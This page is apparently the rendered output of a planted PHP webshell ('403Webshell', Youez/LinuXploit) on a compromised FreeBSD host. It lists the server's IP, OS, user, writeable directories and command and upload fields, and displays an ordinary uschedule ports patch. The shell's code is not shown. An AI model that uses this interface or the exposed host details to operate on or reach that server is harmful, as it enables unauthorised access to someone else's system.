403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/uschedule/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/uschedule/files/patch-src-uscheduled.c
--- src/uscheduled.c.orig	Tue Mar  4 08:26:56 2003
+++ src/uscheduled.c	Sun Nov  2 21:02:00 2003
@@ -161,9 +161,14 @@
 static iopause_fd iop[1];
 static void fifo_open(void) 
 {
+	static int fd2=-1;
+	if (-1!=fd2) close(fd2);
 	iop[0].fd=open_read("fifo");
 	if (-1==iop[0].fd)
-		xbailout(111,errno,"failed to open fifo",0,0,0);
+		xbailout(111,errno,"failed to open_read fifo",0,0,0);
+	fd2=open_write("fifo");
+	if (-1==fd2)
+		xbailout(111,errno,"failed to open_write fifo",0,0,0);
 	ndelay_on(iop[0].fd);
 	iop[0].events=IOPAUSE_READ;
 }

Youez - 2016 - github.com/yon3zu
LinuXploit